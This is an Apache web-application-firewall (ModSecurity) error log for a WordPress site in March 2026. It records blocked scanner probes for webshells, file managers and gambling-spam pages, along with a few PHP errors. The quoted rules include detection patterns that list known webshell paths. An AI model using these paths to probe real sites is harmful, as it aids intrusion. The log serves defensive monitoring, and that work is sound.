[Mon Mar 23 23:04:50.677977 2026] [:error] [pid 38306:tid 38331] [client 40.85.222.197:21403] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "acFWkjkL8qwu-hHc6BjI9QAAARc"]
[Mon Mar 23 23:04:51.087655 2026] [:error] [pid 38176:tid 38208] [client 40.85.222.197:21402] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "acFWk0tG4qlh1gvNjuJbwgAAABU"]
[Mon Mar 23 23:04:51.498281 2026] [:error] [pid 38306:tid 38320] [client 40.85.222.197:21406] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "acFWkzkL8qwu-hHc6BjI-wAAAQw"]
[Mon Mar 23 23:04:51.911620 2026] [:error] [pid 38177:tid 38233] [client 40.85.222.197:21341] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "acFWk3sYW-_HCI66MukEFwAAAFI"]
[Mon Mar 23 23:04:52.321507 2026] [:error] [pid 38276:tid 38282] [client 40.85.222.197:21336] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "acFWlJoKGiI-a7oME3IRGQAAAMM"]
[Mon Mar 23 23:04:52.733717 2026] [:error] [pid 38306:tid 38312] [client 40.85.222.197:21435] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/css/index.php"] [unique_id "acFWlDkL8qwu-hHc6BjJAgAAAQQ"]
[Mon Mar 23 23:04:53.145380 2026] [:error] [pid 38177:tid 38231] [client 40.85.222.197:21490] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/css/index.php"] [unique_id "acFWlXsYW-_HCI66MukEHwAAAFA"]
[Mon Mar 23 23:04:53.555254 2026] [:error] [pid 38177:tid 38239] [client 40.85.222.197:21255] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/css/index.php"] [unique_id "acFWlXsYW-_HCI66MukEIAAAAFg"]
[Mon Mar 23 23:04:53.966054 2026] [:error] [pid 38177:tid 38226] [client 40.85.222.197:21433] [client 40.85.222.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/assets/css/index.php"] [unique_id "acFWlXsYW-_HCI66MukEIgAAAEs"]
[Mon Mar 23 23:40:15.555978 2026] [:error] [pid 38306:tid 38315] [client 49.235.136.28:37356] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acFe3zkL8qwu-hHc6BjZBwAAAQc"]
[Tue Mar 24 05:06:45.827402 2026] [:error] [pid 38767:tid 38792] [client 43.166.131.228:60634] [client 43.166.131.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acGrZfwkUqN4GJAI5oVgoQAAARY"]
[Tue Mar 24 08:43:27.249157 2026] [:error] [pid 64198:tid 64200] [client 43.135.183.82:50848] [client 43.135.183.82] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acHeL3VzJqf6OS_oSZ0j6gAAAUA"]
[Tue Mar 24 09:02:45.418028 2026] [:error] [pid 3137:tid 3141] [client 185.223.152.128:62435] [client 185.223.152.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.128, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "acHitZdZesutm6dfYM9XkQAAAMI"]
[Tue Mar 24 09:03:30.501210 2026] [proxy_fcgi:error] [pid 38767:tid 38790] [client 185.223.152.140:65481] AH01071: Got error 'PHP message: PHP Warning:  mysqli_query(): (HY000/2006): MySQL server has gone away in /home/vetstars/public_html/wp-includes/class-wpdb.php on line 2357'
[Tue Mar 24 10:51:37.959981 2026] [:error] [pid 3032:tid 3105] [client 131.196.5.179:46971] [client 131.196.5.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 131.196.5.179, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acH8OSa_-JXXD03-JNwFrAAAAII"]
[Tue Mar 24 11:45:53.174832 2026] [:error] [pid 3137:tid 3162] [client 43.130.57.46:44114] [client 43.130.57.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acII8ZdZesutm6dfYM-V2AAAANc"]
[Tue Mar 24 16:56:39.876688 2026] [:error] [pid 3137:tid 3139] [client 43.155.188.157:43078] [client 43.155.188.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acJRx5dZesutm6dfYM_sQwAAAMA"]
[Tue Mar 24 18:47:03.940576 2026] [:error] [pid 48214:tid 48253] [client 62.84.185.60:29538] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "acJrp7eshLWZ3uUDHKleGQAAAcE"]
[Tue Mar 24 18:47:06.554588 2026] [:error] [pid 64198:tid 64213] [client 62.84.185.60:29544] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "acJrqnVzJqf6OS_oSZ2LwQAAAU0"]
[Tue Mar 24 18:47:09.144077 2026] [:error] [pid 3137:tid 3152] [client 62.84.185.60:29560] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "acJrrZdZesutm6dfYM8UXAAAAM0"]
[Tue Mar 24 18:47:11.966249 2026] [:error] [pid 48128:tid 48172] [client 62.84.185.60:37044] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "acJrr8vR4LIMFLbM5VkwrQAAAZM"]
[Tue Mar 24 18:47:14.682707 2026] [:error] [pid 64198:tid 64216] [client 62.84.185.60:37054] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "acJrsnVzJqf6OS_oSZ2L0gAAAVA"]
[Tue Mar 24 18:47:17.267735 2026] [:error] [pid 38767:tid 38775] [client 62.84.185.60:37066] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "acJrtfwkUqN4GJAI5oUATgAAAQU"]
[Tue Mar 24 18:47:20.012057 2026] [:error] [pid 38767:tid 38786] [client 62.84.185.60:37080] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "acJruPwkUqN4GJAI5oUAXgAAARA"]
[Tue Mar 24 18:47:22.562692 2026] [:error] [pid 38767:tid 38781] [client 62.84.185.60:62162] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "acJruvwkUqN4GJAI5oUAbQAAAQs"]
[Tue Mar 24 18:47:25.155711 2026] [:error] [pid 64198:tid 64205] [client 62.84.185.60:62166] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "acJrvXVzJqf6OS_oSZ2L6wAAAUU"]
[Tue Mar 24 18:47:27.665672 2026] [:error] [pid 38767:tid 38781] [client 62.84.185.60:62168] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acJrv_wkUqN4GJAI5oUAfgAAAQs"]
[Tue Mar 24 18:47:30.140869 2026] [:error] [pid 64198:tid 64203] [client 62.84.185.60:62182] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acJrwnVzJqf6OS_oSZ2L_wAAAUM"]
[Tue Mar 24 18:47:33.086365 2026] [:error] [pid 64198:tid 64206] [client 62.84.185.60:16496] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acJrxXVzJqf6OS_oSZ2MBAAAAUY"]
[Tue Mar 24 18:47:35.640894 2026] [:error] [pid 64198:tid 64207] [client 62.84.185.60:16506] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acJrx3VzJqf6OS_oSZ2MCgAAAUc"]
[Tue Mar 24 18:47:38.342406 2026] [:error] [pid 48214:tid 48271] [client 62.84.185.60:16508] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "acJryreshLWZ3uUDHKleKQAAAdM"]
[Tue Mar 24 18:47:41.153203 2026] [:error] [pid 48219:tid 48300] [client 62.84.185.60:16516] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "acJrzShf3b4R_lAIyv9rWAAAAhM"]
[Tue Mar 24 18:47:43.894501 2026] [:error] [pid 38767:tid 38787] [client 62.84.185.60:58128] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "acJrz_wkUqN4GJAI5oUAqAAAARE"]
[Tue Mar 24 18:47:46.569167 2026] [:error] [pid 38767:tid 38779] [client 62.84.185.60:58140] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "acJr0vwkUqN4GJAI5oUAsAAAAQk"]
[Tue Mar 24 18:47:49.259620 2026] [:error] [pid 3137:tid 3154] [client 62.84.185.60:58154] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "acJr1ZdZesutm6dfYM8UdwAAAM8"]
[Tue Mar 24 18:47:51.881881 2026] [:error] [pid 38767:tid 38779] [client 62.84.185.60:48248] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "acJr1_wkUqN4GJAI5oUAugAAAQk"]
[Tue Mar 24 18:47:54.649195 2026] [:error] [pid 38767:tid 38774] [client 62.84.185.60:48262] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "acJr2vwkUqN4GJAI5oUAywAAAQQ"]
[Tue Mar 24 18:47:57.458404 2026] [:error] [pid 3137:tid 3161] [client 62.84.185.60:48264] [client 62.84.185.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "acJr3ZdZesutm6dfYM8UfQAAANY"]
[Tue Mar 24 18:54:37.350911 2026] [:error] [pid 38767:tid 38780] [client 2.57.170.187:52115] [client 2.57.170.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "acJtbfwkUqN4GJAI5oUFUQAAAQo"]
[Tue Mar 24 18:54:39.733622 2026] [:error] [pid 48214:tid 48258] [client 2.57.170.217:26309] [client 2.57.170.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "acJtb7eshLWZ3uUDHKlfIwAAAcY"]
[Tue Mar 24 18:55:04.332855 2026] [:error] [pid 38767:tid 38776] [client 2.57.170.217:48077] [client 2.57.170.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "acJtiPwkUqN4GJAI5oUFugAAAQY"]
[Tue Mar 24 18:55:48.015345 2026] [proxy_fcgi:error] [pid 48219:tid 48302] [client 2.57.170.210:27089] AH01071: Got error 'PHP message: PHP Warning:  Use of undefined constant ABSPATH - assumed 'ABSPATH' (this will throw an Error in a future version of PHP) in /home/vetstars/public_html/wp-settings.php on line 34PHP message: PHP Warning:  require(ABSPATHwp-includes/version.php): failed to open stream: No such file or directory in /home/vetstars/public_html/wp-settings.php on line 34PHP message: PHP Warning:  require(ABSPATHwp-includes/version.php): failed to open stream: No such file or directory in /home/vetstars/public_html/wp-settings.php on line 34PHP message: PHP Fatal error:  require(): Failed opening required 'ABSPATHwp-includes/version.php' (include_path='.:') in /home/vetstars/public_html/wp-settings.php on line 34'
[Tue Mar 24 18:58:14.272356 2026] [:error] [pid 64198:tid 64212] [client 2.57.170.207:33675] [client 2.57.170.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "acJuRnVzJqf6OS_oSZ2SzAAAAUw"]
[Tue Mar 24 18:58:14.866976 2026] [:error] [pid 3137:tid 3163] [client 2.57.170.210:44423] [client 2.57.170.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "acJuRpdZesutm6dfYM8YIAAAANg"]
[Tue Mar 24 18:58:17.369039 2026] [:error] [pid 38767:tid 38792] [client 2.57.170.184:62155] [client 2.57.170.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "acJuSfwkUqN4GJAI5oUHeAAAARY"]
[Tue Mar 24 18:58:17.977998 2026] [:error] [pid 64198:tid 64215] [client 2.57.170.207:51205] [client 2.57.170.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "acJuSXVzJqf6OS_oSZ2S0wAAAU8"]
[Tue Mar 24 18:58:20.784331 2026] [:error] [pid 38767:tid 38788] [client 2.57.170.192:42783] [client 2.57.170.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "acJuTPwkUqN4GJAI5oUHhAAAARI"]
[Tue Mar 24 18:58:22.731810 2026] [:error] [pid 48214:tid 48263] [client 2.57.170.201:50333] [client 2.57.170.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "acJuTreshLWZ3uUDHKlgAgAAAcs"]
[Tue Mar 24 18:58:23.349827 2026] [:error] [pid 48214:tid 48274] [client 2.57.170.191:58961] [client 2.57.170.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "acJuT7eshLWZ3uUDHKlgAwAAAdY"]
[Tue Mar 24 18:58:27.974597 2026] [:error] [pid 3030:tid 3064] [client 2.57.170.199:35713] [client 2.57.170.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "acJuUwyOuILyynfcqflVwAAAAA8"]
[Tue Mar 24 18:58:31.466155 2026] [:error] [pid 64198:tid 64207] [client 2.57.170.206:53189] [client 2.57.170.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "acJuV3VzJqf6OS_oSZ2S8AAAAUc"]
